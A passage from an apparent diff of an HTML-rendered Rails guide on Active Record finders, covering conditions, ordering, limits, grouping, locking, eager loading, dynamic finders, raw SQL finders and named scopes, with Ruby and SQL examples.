-<span style="color: #FF0000">  '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">21</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">22</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">23</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">24</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">25</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">26</span><span style="color: #FF0000">',</span>
-<span style="color: #FF0000">  '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span>
-</tt></pre></div></div>
-<div class="para"><p>Things can get <strong>really</strong> messy if you pass in time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
-  <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span>
-</tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>users<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
-  <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-01 00:00:00'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-01 00:00:01'</span> <span style="color: #990000">...</span>
-  <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
-<div class="para"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Got a packet bigger than 'max_allowed_packet' bytes: _query_</tt></pre>
-</div></div>
-<div class="para"><p>Where <em>query</em> is the actual query used to get that error.</p></div>
-<div class="para"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
-  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ? AND created_at &lt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
-  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= ? AND created_at &lt;= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<div class="para"><p>Just like in Ruby.</p></div>
-<h3 id="_hash_conditions">4.3. Hash Conditions</h3>
-<div class="para"><p>Similar to the array style of params you can also specify keys in your conditions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
-  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= :start_date AND created_at &lt;= :end_date"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>start_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> <span style="color: #990000">:</span>end_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]</span> <span style="color: #FF0000">}</span><span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>This makes for clearer readability if you have a large number of variable conditions.</p></div>
-</div>
-<h2 id="_ordering">5. Ordering</h2>
-<div class="sectionbody">
-<div class="para"><p>If you're getting a set of records and want to force an order, you can use <tt>Client.all(:order &#8658; "created_at")</tt> which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using <tt>Client.all(:order &#8658; "created_at desc")</tt></p></div>
-</div>
-<h2 id="_selecting_certain_fields">6. Selecting Certain Fields</h2>
-<div class="sectionbody">
-<div class="para"><p>To select certain fields, you can use the select option like this: <tt>Client.first(:select &#8658; "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 0,1</tt> on your database.</p></div>
-</div>
-<h2 id="_limit_amp_offset">7. Limit &amp; Offset</h2>
-<div class="sectionbody">
-<div class="para"><p>If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span>
-</tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_group">8. Group</h2>
-<div class="sectionbody">
-<div class="para"><p>The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p></div>
-<div class="para"><p>The SQL that would be executed would be something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>orders<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">GROUP</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> <span style="color: #009900">date</span><span style="color: #990000">(</span>created_at<span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_read_only">9. Read Only</h2>
-<div class="sectionbody">
-<div class="para"><p>Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an <tt>Active Record::ReadOnlyRecord</tt> exception. To set this option, specify it like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>If you assign this record to a variable <tt>client</tt>, calling the following code will raise an <tt>ActiveRecord::ReadOnlyRecord</tt> exception:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
-client<span style="color: #990000">.</span>locked <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-client<span style="color: #990000">.</span>save
-</tt></pre></div></div>
-</div>
-<h2 id="_lock">10. Lock</h2>
-<div class="sectionbody">
-<div class="para"><p>If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
-  t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_making_it_all_work_together">11. Making It All Work Together</h2>
-<div class="sectionbody">
-<div class="para"><p>You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.</p></div>
-</div>
-<h2 id="_eager_loading">12. Eager Loading</h2>
-<div class="sectionbody">
-<div class="para"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use <tt>Client.all(:include &#8658; :address)</tt>. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include &#8658; [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000383</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
-Address <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.119770</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> addresses
-  <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
-MailingAddress <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.001985</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> mailing_addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span>
-  mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
-<div class="para"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.all</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.</p></div>
-<div class="para"><p>If you wanted to get all the addresses for a client in the same query you would do <tt>Client.all(:joins &#8658; :address)</tt> and you wanted to find the address and mailing address for that client you would do <tt>Client.all(:joins &#8658; [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">+</span>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000455</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> clients<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> addresses
-  <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span>
-  mailing_addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id
-</tt></pre></div></div>
-<div class="para"><p>This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> “LEFT OUTER JOIN addresses ON
-  client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> addresses<span style="color: #990000">.</span>client_id LEFT OUTER JOIN mailing_addresses ON
-  client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> mailing_addresses<span style="color: #990000">.</span>client_id”<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span>
-  <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt;= ? AND orders.created_at &lt;= ?"</span><span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">])</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_dynamic_finders">13. Dynamic finders</h2>
-<div class="sectionbody">
-<div class="para"><p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>. If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_name_and_locked(<em>Ryan</em>, true)</tt>. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type <tt>find_by_name(params[:name])</tt> than it is to type <tt>first(:conditions &#8658; ["name = ?", params[:name]])</tt>.</p></div>
-<div class="para"><p>There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for <tt>Client.find_or_create_by_name(<em>Ryan</em>)</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>name<span style="color: #990000">+</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
-BEGIN
-<span style="font-weight: bold"><span style="color: #0000FF">INSERT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">INTO</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="color: #990000">(+</span>name<span style="color: #990000">+,</span> <span style="color: #990000">+</span>updated_at<span style="color: #990000">+,</span> <span style="color: #990000">+</span>created_at<span style="color: #990000">+,</span> <span style="color: #990000">+</span>orders_count<span style="color: #990000">+,</span> <span style="color: #990000">+</span>locked<span style="color: #990000">+)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
-COMMIT
-</tt></pre></div></div>
-<div class="para"><p><tt>find_or_create</tt>'s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will call <tt>new</tt> with the parameters you passed in. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize new object similar to calling <tt>Client.new(:name &#8658; <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
-</div>
-<h2 id="_finding_by_sql">14. Finding By SQL</h2>
-<div class="sectionbody">
-<div class="para"><p>If you'd like to use your own SQL to find records a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p></div>
-</div>
-<h2 id="_tt_select_all_tt">15. <tt>select_all</tt></h2>
-<div class="sectionbody">
-<div class="para"><p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom SQL just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>connection<span style="color: #990000">.</span>select_all<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM `clients` WHERE `id` = '1'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_working_with_associations">16. Working with Associations</h2>
-<div class="sectionbody">
-<div class="para"><p>When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested controllers.</p></div>
-</div>
-<h2 id="_named_scopes">17. Named Scopes</h2>
-<div class="sectionbody">
-<div class="para"><p>Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.</p></div>
-<h3 id="_simple_named_scopes">17.1. Simple Named Scopes</h3>
-<div class="para"><p>Suppose want to find all clients who are male. You could use this code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>males<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then you could call <tt>Client.males.all</tt> to get all the clients who are male. Please note that if you do not specify the <tt>all</tt> on the end you will get a <tt>Scope</tt> object back, not a set of records which you do get back if you put the <tt>all</tt> on the end.</p></div>
-<div class="para"><p>If you wanted to find all the clients who are active, you could use this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  named_scope <span style="color: #990000">:</span>active<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>active <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can call this new named_scope with <tt>Client.active.all</tt> and this will do the same query as if we just used <tt>Client.all(:conditions &#8658; ["active = ?", true])</tt>. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
-<h3 id="_combining_named_scopes">17.2. Combining Named Scopes</h3>
-<div class="para"><p>If you wanted to find all the clients who are active and male you can stack the named scopes like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all
-</tt></pre></div></div>
-<div class="para"><p>If you would then like to do a <tt>all</tt> on that scope, you can. Just like an association, named scopes allow you to call <tt>all</tt> on them:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"age &gt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<h3 id="_runtime_evaluation_of_named_scope_conditions">17.3. Runtime Evaluation of Named Scope Conditions</h3>
-<div class="para"><p>Consider the following code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
